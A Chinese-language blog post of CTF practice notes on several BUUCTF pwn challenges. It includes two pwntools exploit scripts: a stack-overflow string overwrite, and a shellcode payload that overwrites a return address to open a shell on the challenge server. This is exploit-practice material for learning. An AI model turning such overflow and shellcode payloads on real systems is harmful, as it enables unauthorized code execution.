最近要做点堆题练练手感了,回buu
记不住是第几个题了,直接标个号列这里吧
0x01 mrctf2020_easyoverflow
简单的栈上覆写
呵呵 感觉这题最费劲的是找那个破b字符串
from pwn import *
from LibcSearcher import *
context(arch='amd64',os='linux')
#context(log_level='debug')
r=remote("node4.buuoj.cn",25508)
#r=process("./pwn")
elf=ELF("./pwn")
payload=0x30*b'a'+b"n0t_r3@11y_f1@g"
r.sendline(payload)
r.interactive()
0x02 [ZJCTF 2019]Login
中间有个题之前做过了,就不贴在这了
勾石一样的c++逆向,和上文一样的栈上覆写
0x03 wustctf2020_closed
和hgame2023的一个题是一样的,exec 1>&0
重定向一下就好了
0x04 jarvisoj_level1
这题buu环境铁有点什么问题,不回显,强制过了回显之后shellcode也打不通
libc的话也是搞出来了个奇怪的东西,本地两个方法都能打通,远程一个都不行
感觉题的本意是想要shellcode的,贴个码
from pwn import *
from LibcSearcher import *
context(arch='i386',os='linux')
#context(log_level='debug')
r=remote("node4.buuoj.cn",29855)
#r=process("./pwn")
elf=ELF("./pwn")
r.sendline("1")
r.recvuntil("this:0x")
shellcodeaddr=int(r.recv(8),16)
print(hex(shellcodeaddr))
shellcode=asm(shellcraft.sh())
payload=shellcode+b'a'*(0x8c-len(shellcode))+p32(shellcodeaddr)
r.sendline(payload)
r.interactive()
0x05 hitcontraining_magicheap
很清晰的堆题,目的是覆写bss段上的一个地方>4869
但是方法不怎么会,这个题放在堆的0x06